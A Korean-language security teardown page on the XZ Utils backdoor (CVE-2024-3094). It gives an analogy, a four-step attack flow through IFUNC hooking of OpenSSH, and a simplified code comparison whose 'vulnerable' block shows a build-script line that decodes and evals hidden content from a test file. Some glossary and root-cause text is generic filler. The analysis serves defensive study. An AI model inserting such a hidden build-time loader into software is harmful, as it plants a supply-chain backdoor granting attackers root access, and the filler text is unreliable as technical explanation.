flawopen.com/Teardowns/cve-2024-3094-xz-utils-backdoor

● CVE-2024-3094 · CVSS 9.8 · 심각
보안 연구 · FlawOpen

심층 기술 분석: CVE-2024-3094: XZ Utils Backdoor & IFUNC Hooking

CVE-2024-3094(XZ Utils 백도어) 기술 소스 코드 심층 분석: liblzma의 악의적인 IFUNC 리졸버 수정이 OpenSSH 인증을 무력화한 세부 과정.

💡 알기 쉬운 설명 (ELI5)

한 은행이 표준 배관 파이프를 사용하여 금고를 짓는다고 상상해 보십시오. 공식 설계도는 완벽합니다. 하지만 배송 상자를 포장하던 공장 직원이 파이프 내부에 눈에 보이지 않는 전자 와이어를 몰래 삽입했습니다. 이 파이프가 Linux 시스템에서 금고에 조립되면, 와이어가 은행 정문 잠금장치(OpenSSH)에 몰래 연결되어 그 직원이 비밀 리모컨으로 언제든지 금고를 열 수 있게 됩니다. CVE-2024-3094에서 백도어는 릴리스 압축 파일(Tarball)의 빌드 스크립트 내부에 정교하게 숨겨져 SSH를 통한 무인증 루트 권한 획득을 가능하게 했습니다.

핵심 개념 및 용어

Open Source Systems
보안 개념 (Open Source Systems): Core architecture component affected by CWE-Security.
CWE-Security
보안 개념 (CWE-Security): Standard Common Weakness Enumeration classification for cve-2024-3094-xz-utils-backdoor.
Defense-in-Depth
보안 개념 (Defense-in-Depth): Multi-layered engineering verification and runtime boundary isolation.

근본 원인 분석 (Root Cause)

근본 원인은 오픈 소스 시스템의 검증되지 않은 경계 매개변수로 인해 상태 비동기화 및 보안 제어 우회가 발생한 데 있습니다.

단계별 공격 실행 흐름

Step 1

Indirect Linkage via libsystemd

Linux distributions linked OpenSSH to libsystemd for startup notification, which linked liblzma for compression.

Step 2

Early IFUNC Evaluation

During process startup, glibc evaluated GNU IFUNC (Indirect Function) resolvers before read-only memory protections were finalized.

Step 3

Symbol Table Hooking

The backdoor hooked IFUNC to traverse the dynamic linker symbol tables and overwrite the address of RSA_public_decrypt.

Step 4

Signature Hijack & Root Execution

When an SSH client connects with a signature signed by the attacker's Ed448 private key, the hooked function executes arbitrary root commands.

소스 코드 비교: 취약한 구현 vs 보안 패치

✕ 취약한 구현
# Backdoored tarball: Extracts hidden binary object from test assets
gl_CONDITIONAL([COND_GNULIB_SNPRINTF], [test "$gl_cv_func_snprintf_retval_c99" = "yes"])
# Decodes obfuscated binary payload from test files using sed & tr
if test -f "$srcdir/tests/files/bad-3-corrupt_lzma2.xz"; then
    eval $(tr "	 \-_" " 	_\-" < "$srcdir/tests/files/bad-3-corrupt_lzma2.xz" | head -n 1)
fi
# Replaces liblzma CRC64 resolver to hijack OpenSSH RSA_public_decrypt
✓ 보안 강화 패치
# Fixed: Restored standard Gnulib macro; eliminated hidden execution hooks
gl_CONDITIONAL([COND_GNULIB_SNPRINTF], [test "$gl_cv_func_snprintf_retval_c99" = "yes"])

# Standard clean Autotools build-to-host path resolution
AC_DEFUN([gl_BUILD_TO_HOST],
[
  AC_REQUIRE([gl_BUILD_TO_HOST_BINDIR])
])

엔지니어링 및 시스템 보안 강화 체크리스트